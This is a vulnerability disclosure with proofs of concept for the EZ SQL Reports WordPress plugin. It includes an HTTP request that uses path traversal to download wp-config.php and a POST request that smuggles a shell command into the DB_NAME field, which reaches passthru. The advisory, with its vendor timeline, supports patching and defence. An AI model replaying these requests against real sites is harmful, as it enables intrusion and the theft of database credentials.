WordPress Plugin EZ SQL Reports < 4.11.37 - Multiple Vulnerabilities

# Exploit Title: EZ SQL Reports < 4.11.37: Arbitrary File Download (admin/colaborator required)
# Google Dork: -
# Date: 12/09/2015
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://wordpress.org/plugins/elisqlreports/
# Software Link: https://downloads.wordpress.org/plugin/elisqlreports.4.11.33.zip
# Version: < 4.11.33, fixed in 4.11.37
# Tested on: Debian GNU/Linux 7 with Wordpress 4.3
# CVE : N/A
#
# Summary: The plugin allows a wordpress site administrator or
collaborator to download arbitrary files from the host file system
though the plugin functionality of downloading .sql, .sql.zip or
.sql.gz files created by the wordpress administrator.
# The file name to download is not sanitized and path traversal can be
injected in the request.
#
# Timeline:
# - 09/09/2015: Fist contact with the author
# - 11/09/2015: Author creates fix and communicate to me
# - 12/09/2015: Public release of the new plugin version

# POC: To retrieve the wp-config.php file:

GET /wp-admin/admin.php?page=ELISQLREPORTS-settings&Download_SQL_Backup=../../../wp-config.php
HTTP/1.1
Host: <the host with the wordpress>
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: <User-Agent>
Referer: http://<the host with the
wordpress>/wp-admin/admin.php?page=ELISQLREPORTS-settings
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6
Cookie: wordpress_[...etc...]4af418c3efd


# Exploit Title: EZ SQL Reports < 4.11.37: Arbitrary Code Execution (admin/colaborator required)
# Google Dork: -
# Date: 12/09/2015
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://wordpress.org/plugins/elisqlreports/
# Software Link: https://downloads.wordpress.org/plugin/elisqlreports.4.11.33.zip
# Version: < 4.11.33, fixed in 4.11.37
# Tested on: Debian GNU/Linux 7 with Wordpress 4.3
# CVE : N/A
#
# Summary: There are several calls to "passtthru" in the code, one of
them is receiving the username, password, database name and host from
the $_POST arguments, so you can inject in every of this parameter the
";" character or others like "&&" or "||" to execute other distinct
commands to "/usr/bin/mysql"
#
# Timeline:
# - 09/09/2015: Fist contact with the author
# - 11/09/2015: Author creates fix and communicate to me
# - 12/09/2015: Public release of the new plugin version

# POC: Send a POST request like this to obtain in the folder wp-admin
a file with name "testrce.txt". The parameters DB_NAME, DB_HOST,
DB_USER, and DB_PASSWORD are injectable:

POST /wp-admin/admin.php?page=ELISQLREPORTS-settings HTTP/1.1
Host: <wordpress web>
Proxy-Connection: keep-alive
Content-Length: 177
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://<wordpress web>
Upgrade-Insecure-Requests: 1
User-Agent: <the user agent>
Content-Type: application/x-www-form-urlencoded
Referer: http://<wordpress web>/wp-admin/admin.php?page=ELISQLREPORTS-settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,es;q=0.6
Cookie: wordpress_8fa[...etc...]b7d

DB_NAME=<the db
name>%3B+touch+testrce.txt%3B+&DB_HOST=127.0.0.1&DB_USER=<theuser>&DB_PASSWORD=<thepassword>&db_date=z.2015-08-27-20-22-29.manual.wp.127.0.0.1.sql.zip&db_nonce=au78c5ff86